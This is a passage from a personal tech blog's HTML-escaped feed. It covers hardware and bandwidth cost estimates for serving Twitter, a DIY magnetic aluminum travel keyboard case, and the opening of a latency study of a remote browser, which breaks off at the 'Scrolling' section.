  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;total bandwidth cost(bandwidth price = cdn77 price) &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;409,308.6018&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;

  &lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;I was surprised by the fact that typical bandwidth costs are way way more than a server capable of serving that bandwidth!&lt;/p&gt;

&lt;p&gt;But &lt;strong&gt;the best deal is actually &lt;a href=&quot;https://www.cloudflare.com/bandwidth-alliance/&quot;&gt;Cloudflare Bandwith Alliance&lt;/a&gt;&lt;/strong&gt;. As far as I can tell Cloudflare doesn’t charge for bandwidth, and some server providers like Vultr don’t charge for transfer to Cloudflare. However if you tried to serve Twitter images this way I wonder if Vultr would suddenly reconsider their free Bandwidth Alliance pricing as you made up lots of their aggregate Cloudflare bandwidth.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; My friend says his colo charges for 10Gbit/s at close to the OVH rate, and notes that bandwidth isn’t fungible in that if you try to constantly peg your connections serving the entire world you may run into upstream bottlenecks and get throttled. This may be a place where CloudFlare could help you (maybe at some cost) or where you’d have to colo next to an internet exchange or something.&lt;/p&gt;

&lt;h2 id=&quot;how-cheaply-could-you-serve-twitter-pricing-it-out&quot;&gt;How cheaply could you serve Twitter: Pricing it out&lt;/h2&gt;

&lt;p&gt;Okay lets look at some concrete servers and estimate how much it would cost in total to run Twitter in some of these scenarios.&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;Basics and full tweet back catalog on one machine with bandwidth on &lt;a href=&quot;https://us.ovhcloud.com/bare-metal/high-grade/hgr-sds-2/&quot;&gt;OVHCloud&lt;/a&gt;: 1TB RAM, 24 cores, 10Gbit/s public bandwidth, 360TB of NVMe across 24 drives
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$&lt;span class=&quot;n&quot;&gt;7,079&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;84,948&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Basics, images, ML, replication and tweet back catalog with 8 &lt;a href=&quot;https://www.vultr.com/products/bare-metal/#pricing&quot;&gt;CPU Vultr machines&lt;/a&gt; with 25TB NVMe, 512GB RAM, 24 cores and 25Gbp/s, plus one ML instance.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;8&lt;/span&gt; * &lt;span class=&quot;n&quot;&gt;2.34&lt;/span&gt;&lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;hr&lt;/span&gt; + $&lt;span class=&quot;n&quot;&gt;7.4&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;hr&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;228,963.2184&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;cost per year of images * &lt;span class=&quot;n&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;841,518.72&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Basics, images and ML but not full tweet back catalog on one machine with a AWS P4D instance with 400Gbps of bandwith, 8xA100, 1TB memory, 8TB NVMe:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$&lt;span class=&quot;n&quot;&gt;20,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;240,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;total bandwidth cost(bandwidth price = $&lt;span class=&quot;n&quot;&gt;0.02&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;) &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;10,600,798.32&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;To do everything on one machine yourself, I specced a Dell PowerEdge R740xd with 2x16 core Xeons, 768GB RAM, 46TB NVMe, 360TB HDD, a GPU slot, and 4x40Gbe networking:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;server cost&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;15,245&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;ram 32GB rdimms&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;132&lt;/span&gt; * &lt;span class=&quot;n&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;3,168&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;samsung pm1733 8tb NVMe&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;1200&lt;/span&gt; * &lt;span class=&quot;n&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;7,200&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;nvidia a100&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;10,000&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;hdd 20TB&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;500&lt;/span&gt; * &lt;span class=&quot;n&quot;&gt;18&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;9,000&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;total server cost&lt;/span&gt; = server cost + ram 32GB rdimms + samsung pm1733 8tb NVMe + nvidia a100 + hdd 20TB &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;44,613&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;colo cost&lt;/span&gt; = $&lt;span class=&quot;n&quot;&gt;300&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;month&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;3,600&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;colo cost + total server cost/(&lt;span class=&quot;n&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;) &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;18,471&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;So you do well on the server cost but then get obliterated by bandwidth cost unless you use a colo where you can &lt;a href=&quot;https://www.cloudflare.com/network-interconnect/&quot;&gt;directly connect to Cloudflare&lt;/a&gt;:

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;total bandwidth cost(bandwidth cost=friend says colo price) &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;$&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;$&lt;span class=&quot;n&quot;&gt;128,458.0741&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;year&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;
  &lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;Clearly optimizing server costs down to this level and below isn’t economically rational, given the cost of engineers, but it’s fun to think about. I also didn’t try to investigate configuring an IBM mainframe, which stands a chance of being the one type of “machine” where you might be able to attach enough storage to fit historical images.&lt;/p&gt;

&lt;p&gt;For reference in their &lt;a href=&quot;https://s22.q4cdn.com/826641620/files/doc_financials/2021/ar/FiscalYR2021_Twitter_Annual_-Report.pdf&quot;&gt;2021 annual report&lt;/a&gt;, Twitter doesn’t break down their $1.7BN cost of revenue to show what they spend on “infrastructure”, but they say that their infrastructure spending increased by $166M, so they spend at least that much and presumably substantially more. But probably a lot of their “infrastructure” spending is on offline analytics/CI machines, and plausibly even office expenses are part of that category?&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The real conclusion is kinda up in the middle, but I had a lot of fun researching this project and I hope it conveys some appreciation for what hardware is capable of. I had even more fun spending tons of time reading papers and pacing around designing how I would implement a system that let you turn a Rust/C/Zig in-memory state machine like my prototype into a distributed fault-tolerant persistent one with page swapping to NVMe that could run at millions of write transactions per second and a million read transactions per second per added core.&lt;/p&gt;

&lt;p&gt;I almost certainly won’t actually build any of this infrastructure, because I have a day job and it’d be too much work even if I didn’t, but I clearly love doing fantasy systems design so I may well spend a lot of my free time writing notes and drawing diagrams about exactly how I’d do it:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/twitterperf/pipeline.png&quot; alt=&quot;Pipeline diagram&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thanks to the 5 ex-Twitter engineers, some of whom worked on performance, who reviewed this post before publication but after I made my predictions, and brought up interesting considerations and led me to correct and clarify a bunch of things! Also to my coworker &lt;a href=&quot;https://nelhage.com/&quot;&gt;Nelson Elhage&lt;/a&gt; who offered good comments on a draft around reasons you wouldn’t do this in practice.&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>My DIY ergonomic travel workstation with aluminum and magnets</title>
   <link href="https://thume.ca/2022/11/06/diy-travel-work-setup/"/>
   <updated>2022-11-06T00:00:00+00:00</updated>
   <id>https://thume.ca/2022/11/06/diy-travel-work-setup</id>
   <content type="html">
&lt;p&gt;Ever since moving from NYC to SF to work at &lt;a href=&quot;https://www.anthropic.com/&quot;&gt;Anthropic&lt;/a&gt; I’ve been visiting NYC and working remotely quite often. So I designed myself a travel workstation that lets me get the best of ergonomics and packability.&lt;/p&gt;

&lt;p&gt;It includes a few off-the-shelf items, and a custom-designed laser cut aluminum keyboard case that doubles as a lap-board to hold my keyboard and trackpad:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/full-setup.jpeg&quot; alt=&quot;Travel Workstation&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I can use the keyboard and Magic Trackpad on a desk or on my lap, with the &lt;a href=&quot;https://www.amazon.com/Nexstand-Laptop-Stand-Portable-MacBook/dp/B01HHYQBB8&quot;&gt;folding laptop stand&lt;/a&gt; keeping the screen at a comfortable height. The keyboard is a &lt;a href=&quot;https://choc.brianlow.com/&quot;&gt;Sofle Choc&lt;/a&gt; I soldered together from a kit, modified with &lt;a href=&quot;https://boardsource.xyz/store/5fff705f03db380da20f1014&quot;&gt;Purpz low force switches&lt;/a&gt; which I find way more comfortable than standard-force, and &lt;a href=&quot;https://nicekeyboards.com/nice-nano/&quot;&gt;nice!nano wireless controllers&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The case only cost around $40&lt;/strong&gt;, despite being made out of 3 different profiles made of very robust 2mm thick aluminum plate and only ordering two. It turns out &lt;a href=&quot;https://sendcutsend.com/&quot;&gt;SendCutSend&lt;/a&gt; is a magical service that offers ridiculously cheap custom laser cutting of lots of materials with less than one week turnarounds.&lt;/p&gt;

&lt;p&gt;I’ve now been using it and traveling with it for many months and it’s been really great. I’m not aware of any similar off-the-shelf setup that combines a super light nice ergonomic keyboard with a Magic Trackpad on a lap board, that can be protected by a robust carrying case.&lt;/p&gt;

&lt;h2 id=&quot;transforming-with-magnets&quot;&gt;Transforming with magnets&lt;/h2&gt;

&lt;p&gt;The whole thing uses tons of little neodymium magnets super-glued in to the plates and gel taped to the electronics, to allow easily moving between the lap board configuration and a robust carrying case configuration to put in my bag. The keyboard halves snap into two different positions, one spread out and another closer together fully inside the case. The top half of the case also snaps on with magnets, with tabs to hold it in place horizontally.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/magnets.jpeg&quot; alt=&quot;Magnets&quot; /&gt;
&lt;img src=&quot;/assets/postassets/travelwork/case-open.jpeg&quot; alt=&quot;Case open&quot; /&gt;
&lt;img src=&quot;/assets/postassets/travelwork/case-side.jpeg&quot; alt=&quot;Case side-on&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The Magic Trackpad is far more robust than the keyboard PCBs so I shove it in a different small pocket of my bag.&lt;/p&gt;

&lt;h2 id=&quot;other-setups&quot;&gt;Other setups&lt;/h2&gt;

&lt;p&gt;I can also use it to create a very comfortable reclined working setup by combining the lap board with a &lt;a href=&quot;https://shop.stressless.com/en/recliners/stressless-sunrise/p/000000000001237315?pid=1237315094014504&quot;&gt;comfy recliner&lt;/a&gt; and &lt;a href=&quot;https://www.amazon.com/gp/product/B01MG1EWPQ/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;a recliner laptop stand&lt;/a&gt;. The displays on modern Macbooks are really good and make this kind of setup a really comfortable way to use a computer. The stand arm just swings out of the way, and I place the lap board on the side table when I want to use the chair normally.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/chair-stand.jpeg&quot; alt=&quot;Recliner stand&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Or combine it with a standing desk:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/desk-work.jpeg&quot; alt=&quot;Standing desk&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;optimizing-sleeping-on-flights&quot;&gt;Optimizing sleeping on flights&lt;/h2&gt;

&lt;p&gt;My other big travel optimization has been taking overnight flights and sleeping on them, which I didn’t used to be able to do without waking up constantly due to my neck hurting. I first mostly solved this using a &lt;a href=&quot;https://trtltravel.com/&quot;&gt;trtl pillow&lt;/a&gt;, which unlike classic airplane pillows doesn’t constrict my neck blood flow and actually allows me to lean my head to the side.&lt;/p&gt;

&lt;p&gt;Then my coworker recommended getting a &lt;a href=&quot;https://www.amazon.com/gp/product/B003LLY8GC/ref=ppx_yo_dt_b_asin_title_o05_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;medical foam cervical collar&lt;/a&gt;, which was even better and completely eliminated my neck pain sleeping on flights. I first got one that was too short, and then found the one I linked which suggests how to measure your chin height and offers a larger size. That one is also black which looks less medical.&lt;/p&gt;

&lt;p&gt;If you don’t like standard foam ear plugs, I also recommend trying &lt;a href=&quot;https://www.amazon.com/gp/product/B0006NXBVQ/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;wax ear plugs&lt;/a&gt; which you shape into a pancake over your ear opening. They feel weird in a different way which is less stuffy and more comfortable for me.&lt;/p&gt;

&lt;h2 id=&quot;more-detail&quot;&gt;More detail&lt;/h2&gt;

&lt;p&gt;I did my design in Fusion 360, and the first version I ordered was just a lap board, which I then had to hack adding a magic trackpad mount onto without quite enough space by stacking it on some hardboard:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/prototype.jpeg&quot; alt=&quot;Prototype version&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I had the combo case/lapboard idea for the second version, and at first I planned to have an identical top and bottom plate. But SendCutSend prices are higher the more holes you want them to cut, so especially given I was also ordering a case for a friend, it was cheaper (and nicer looking) to have a separate top and bottom plate. The little indents on the side of the case were for in case the magnets didn’t work well and I needed to keep it closed by sliding elastic ribbons over it. You can download the DXF files if you want to order them yourself &lt;a href=&quot;/assets/postassets/travelwork/laser-files.zip&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/cad.png&quot; alt=&quot;CAD&quot; /&gt;
&lt;img src=&quot;/assets/postassets/travelwork/sendcutsend-order.png&quot; alt=&quot;SendCutSend Order&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I then assembled it using cyanoacrylate glue, &lt;a href=&quot;https://www.amazon.com/gp/product/B07KJ9H31P/ref=ppx_yo_dt_b_asin_title_o09_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;6mm neodymium magnets&lt;/a&gt;, and double-sided gel tape to attach the magnets to the keyboard and trackpad. I needed to use sticky tack on the back of the magnet holes while putting the glue in so it wouldn’t run out. I also put &lt;a href=&quot;https://www.amazon.com/gp/product/B0774NN1XM/ref=ppx_yo_dt_b_asin_title_o05_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;neoprene foam&lt;/a&gt; on the back of the case to make it comfortable and grippy on my lap or the desk. I also reinforced the spacer joints with hot glue after super-gluing them, for redundancy at the cost of aesthetics. It took about 2 hours to assemble the case.&lt;/p&gt;

&lt;p&gt;Before assembling it, I used a sharpie through the holes to mark dots on the back of the electronics, so that I could superglue magnets in place. I had to make sure to get the polarity of the magnets right so that the keyboard snapped in both positions. I went with opposite polarity on the left and right sides, that way I can attach the keyboard halves to each other for a lighter more fragile keyboard-carrying setup, and also kind-of attach the Magic Trackpad to the back of the case while it’s closed (I only thought of this after, the center magnets hurt this).&lt;/p&gt;

&lt;h2 id=&quot;more-on-the-sofle-choc-keyboard-kit&quot;&gt;More on the Sofle Choc keyboard kit&lt;/h2&gt;

&lt;p&gt;The keyboard kit took me around 3.5 hours to solder. I’m really happy with the low force Purpz switches. I started using low force switches back with my &lt;a href=&quot;/2014/09/08/creating-a-keyboard-1-hardware/&quot;&gt;original keyboard build&lt;/a&gt; when I had RSI issues and I think they made a noticeable difference then, and nowadays I still find them more comfortable. I’m not happy about soldering in the rotary encoders, I never use them and they add height, but I can’t really remove them now. The &lt;a href=&quot;https://nicekeyboards.com/nice-nano/&quot;&gt;wireless controllers&lt;/a&gt; were nice for a bit, and it’s nice not to have a cable between the sides, but the battery life of the primary half is bad and I messed up the pairing a bit, so I mostly use it with a cable nowadays, this may be fixable. I’m quite happy with the Sofle Choc overall, the thumb keys are comfortable close to the main keyboard and it has lots of them, although the thumb keys all being in a line can make it hard to hit the right one relative to more clustered designs.&lt;/p&gt;

&lt;h2 id=&quot;other-fun-with-sendcutsend&quot;&gt;Other fun with SendCutSend&lt;/h2&gt;

&lt;p&gt;I haven’t really done any bloggable programming projects this year, because I’ve been doing more hardware stuff (and more socializing).&lt;/p&gt;

&lt;p&gt;Some other stuff I’ve made with SendCutSend has included some prototype backing plates for the super bright LED lighting bar I’m designing:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/lightbar.jpeg&quot; alt=&quot;Light Bar&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ve also experimented with using DALL-E to ask for “minimalist black and white line art”, using &lt;a href=&quot;https://www.visioncortex.org/vtracer/&quot;&gt;vector tracing software&lt;/a&gt;, then cleaning up and modifying the design in Inkscape. This lets me create custom laser cut metal wall art cooler than I could design myself. Shown below are a powder-coated steel sign for a joke group house name, and brass snakes I helped make for someone:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/travelwork/house-sign.jpeg&quot; alt=&quot;House Sign&quot; /&gt;
&lt;img src=&quot;/assets/postassets/travelwork/snakes.jpeg&quot; alt=&quot;Snake art&quot; /&gt;&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Latency testing remote browsing: Why display streaming is hard</title>
   <link href="https://thume.ca/2022/05/15/latency-testing-streaming/"/>
   <updated>2022-05-15T00:00:00+00:00</updated>
   <id>https://thume.ca/2022/05/15/latency-testing-streaming</id>
   <content type="html">
&lt;p&gt;Ever since I built &lt;a href=&quot;https://thume.ca/2020/05/20/making-a-latency-tester/&quot;&gt;my light sensor based latency tester&lt;/a&gt;, I’ve wanted to use it to illuminate where the added latency of remote desktop / display streaming systems really comes from. In fall of 2021 I was let into the beta program of a remote browser startup I’ll call Remotey (not their real name)&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. The idea is that you can save RAM on your machine and take advantage of powerful cloud computers with gigabit networking, but it means many interactions no longer take place on-device. I’ll use various latency tests I did with their product to illustrate the challenges inherent in providing a nice remote display experience on high-resolution displays, and talk about optimizations they could make to be much snappier.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/mightylat/latencytester.jpeg&quot; alt=&quot;Latency Tester&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;why-this-remote-browser&quot;&gt;Why this remote browser?&lt;/h2&gt;

&lt;p&gt;Their product is part of a new generation of app streaming systems which take advantage of GPU-accelerated encoding/decoding of common video compression formats. Examples include all the major game streaming services like &lt;a href=&quot;https://www.nvidia.com/en-us/geforce-now/&quot;&gt;GeForce Now&lt;/a&gt; and &lt;a href=&quot;https://stadia.google.com/&quot;&gt;Google’s Stadia&lt;/a&gt;. Unfortunately, there’s a few things which make it tricky to use this approach to compete with legacy remote access systems let alone running locally for normal desktop apps like browsers. &lt;a href=&quot;https://parsec.app/&quot;&gt;Parsec&lt;/a&gt; looks like a good try at doing so, but I haven’t tested it. I’m testing their remote browsing product because unlike Parsec, they provide a GPU-equipped remote server a mere 16ms ping from my NYC apartment for me.&lt;/p&gt;

&lt;p&gt;All that is to say, while I’m going to talk about issues with this system and how it could be improved, I expect many of these issues apply to other desktop app streaming systems as well.&lt;/p&gt;

&lt;h2 id=&quot;typing-latency&quot;&gt;Typing latency&lt;/h2&gt;

&lt;p&gt;Let’s start by testing the latency between pressing a key and it appearing on screen in a text field, since that’s one of the simplest types of latency. I went to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;about:blank&lt;/code&gt; in Remotey and Chrome and added a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt; tag using the web inspector.&lt;/p&gt;

&lt;p&gt;My latency tester sends USB events to repeatedly type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; and backspace it, then types out summary lines. Here’s some simplified summary lines annotated with what I was measuring:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;109ms +/-  15.2 (n=75) |        _5933_ __         | Remotey 4k window
 42ms +/-   8.6 (n=77) |   791_                   | Chrome 4k window
 37ms +/-   3.9 (n=33) |   94                     | Chrome small window
 95ms +/-  18.5 (n=65) |     11359741_            | Remotey small window
212ms +/-  24.0 (n=53) |                  _79652_ | Remotey 3780x6676 window
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Despite the fact that my network round-trip to my Remotey server is only 16ms, Remotey adds around 67ms of latency with a maximized 4k window. The results for a local Chrome of close to 40ms for varying window sizes are about as good as I’ve seen for any app when measured at the top of on my Dell S2721Q monitor like this was, which means they’re close to the minimum latency a macOS desktop app can have.&lt;/p&gt;

&lt;p&gt;This isn’t as bad as it may sound though. I can notice the difference, but mainly that it’s just a bit less pleasant. An extra 70ms typing latency is at the level where if you added it to most people’s computers between sessions, if it was consistent many wouldn’t notice anything was wrong, it just feels a tiny bit worse. Many people use &lt;a href=&quot;https://danluu.com/keyboard-latency/&quot;&gt;keyboards that add 40ms of latency&lt;/a&gt; or &lt;a href=&quot;https://thume.ca/2020/05/20/making-a-latency-tester/&quot;&gt;screens that add 30ms&lt;/a&gt;. This is a problem Remotey pays attention to, they actually have a keyboard latency graph window accessible in their Debug menu, which shows latencies about 20ms lower than my end-to-end measurements, presumably because they don’t include the compositor/screen/USB stack.&lt;/p&gt;

&lt;h3 id=&quot;encoding-the-whole-window-means-latency-scales-with-window-size&quot;&gt;Encoding the whole window means latency scales with window size&lt;/h3&gt;

&lt;p&gt;The interesting thing about these tests is how they show that Remotey’s latency scales with window size, even when only a small region changes. Most legacy remote desktop systems will use something called “damage regions” that apps provide to the OS compositor, in order to only process the pixels that change during small updates like typing. Even without such a system, it’s possible to diff tiles of a 4k screen image in under 2ms on a single CPU core to detect the changed region.&lt;/p&gt;

&lt;p&gt;One disadvantage of the hardware accelerated video encode approach is that using minimal damage regions is tricky, because all you have is a vendor-provided API to encode new full frames into a video stream, and you can’t count on the vendor to optimize their encoder for large pixel-equal screen regions getting encoded very quickly. You could split the screen into many separate tile video streams, but that may or may not lead to encode/decode latency problems if the API/hardware isn’t optimized for many small streams, and artifacts may be hard to avoid. Another approach might be to have a separate side channel stream where you quickly send the small changed image patch to paste over the video, then update the video stream in the background the usual way.&lt;/p&gt;

&lt;p&gt;In the last test above I set the 4k monitor to one of macOSs non-integer scaled presets, when you do this macOS will internally render a larger resolution at 2x scaling and then downscale the image. This causes huge internal resolutions that can cause performance issues even on native apps, the Preferences screen warns “Using a scaled resolution may affect performance”, and while some apps may seem fine, others like Remotey suffer. The full screen encoding approach relies on GPU encoding/decoding hardware keeping pace with growing screen resolutions, and can suffer when you try to jump to larger sizes.&lt;/p&gt;

&lt;h3 id=&quot;h264-is-lower-latency-but-not-the-default&quot;&gt;H264 is lower latency but not the default&lt;/h3&gt;

&lt;p&gt;The numbers above get better when you use Remotey’s Debug menu to “Enable H264 encoding”, where the default is H265:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;109ms +/-  15.2 (n=75) |        _5933_ __         | Remotey 4k window H265
 99ms +/-   8.7 (n=37) |        2691_             | ^ same but H264
 95ms +/-  18.5 (n=65) |     11359741_            | Remotey small window H265
 83ms +/-   9.1 (n=57) |      _9842               | ^ same but H264
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The modern H265 encoding standard is better at compression, allowing more changing pixels to be streamed over a lower bandwidth connection, but it comes at the cost of more time spent encoding and decoding, which is where most of the lag comes from on highly compressible changes like this typing latency test.&lt;/p&gt;

&lt;h2 id=&quot;scrolling&quot;&gt;Scrolling&lt;/h2&gt;

